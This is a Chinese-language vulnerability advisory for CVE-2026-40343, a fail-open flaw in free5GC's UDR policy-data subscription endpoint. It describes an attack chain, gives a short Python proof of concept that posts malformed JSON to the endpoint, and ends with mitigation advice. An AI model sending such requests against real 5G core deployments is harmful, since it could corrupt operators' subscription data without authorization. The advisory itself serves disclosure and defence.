CVE-2026-40343 CVSS 5.8 中危

CVE-2026-40343: free5GC UDR请求处理缺陷漏洞

披露日期: 2026-04-22

来源: [email protected]

漏洞信息

漏洞编号

CVE-2026-40343

漏洞类型

逻辑错误

CVSS评分

5.8 中危

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

无需交互 (UI:N)

影响产品

free5GC UDR

漏洞概述

free5GC是一个开源的5G移动核心网络项目，其中的UDR（用户数据仓库）组件在1.4.2及以下版本中存在一个fail-open请求处理逻辑缺陷。该漏洞影响`/nudr-dr/v2/policy-data/subs-to-notify` POST接口，即使在请求体检索或反序列化过程中发生错误，服务仍会继续处理请求。这可能导致攻击者利用无效、空或部分处理的输入创建策略数据通知订阅，从而破坏数据完整性。目前该漏洞尚无补丁。

技术细节

该漏洞的根源在于free5GC UDR服务中的异常处理机制存在缺陷，具体表现为“fail-open”行为。当攻击者向`/nudr-dr/v2/policy-data/subs-to-notify`端点发送特制的POST请求时，如果请求体的格式不正确或在JSON反序列化阶段抛出异常，程序未正确终止处理流程，而是跳过了关键的验证步骤继续执行后续逻辑。由于CVSS向量显示无需认证（PR:N）且可利用网络访问（AV:N），远程攻击者无需用户交互即可利用此漏洞。攻击者可以发送构造畸形的JSON数据包，触发反序列化错误，随后利用程序未中断的执行流，强制系统创建包含无效数据的策略数据订阅。虽然目前尚未发布补丁，但该行为可能导致下游处理器处理异常数据，进而影响系统的完整性。

攻击链分析

STEP 1

侦察

攻击者扫描网络，识别暴露在互联网或内网中的free5GC UDR服务及其特定接口。

STEP 2

漏洞利用

攻击者向`/nudr-dr/v2/policy-data/subs-to-notify`端点发送精心构造的畸形JSON数据包，旨在触发请求体反序列化错误。

STEP 3

逻辑绕过

由于存在fail-open缺陷，UDR服务在捕获到错误后未终止请求，而是继续使用无效数据进行处理。

STEP 4

影响达成

系统成功创建了包含无效或空参数的策略数据通知订阅，导致数据完整性受损。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

# PoC for CVE-2026-40343: free5GC UDR Fail-Open
import requests
import json

target_url = "http://target-ip:port/nudr-dr/v2/policy-data/subs-to-notify"

# Malformed JSON to trigger deserialization error or invalid body
malformed_payload = {
    "invalid": "data",
    # Missing required fields to trigger logic flaw
}

headers = {
    "Content-Type": "application/json"
}

try:
    # Sending the request
    response = requests.post(target_url, data=json.dumps(malformed_payload), headers=headers)
    if response.status_code == 200 or response.status_code == 201:
        print("[+] Potential Vulnerability Detected! Request accepted despite invalid input.")
    else:
        print(f"[-] Status Code: {response.status_code}")
except Exception as e:
    print(f"Error: {e}")

影响范围

free5GC UDR <= 1.4.2

防御指南

临时缓解措施

鉴于目前没有可用的补丁，建议严格限制对 UDR 服务端口的网络访问，利用防火墙规则仅允许授权的 AMF 或其他核心网网元进行通信。同时，应监控日志中是否存在针对 `/nudr-dr/v2/policy-data/subs-to-notify` 接口的异常请求或反序列化错误。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表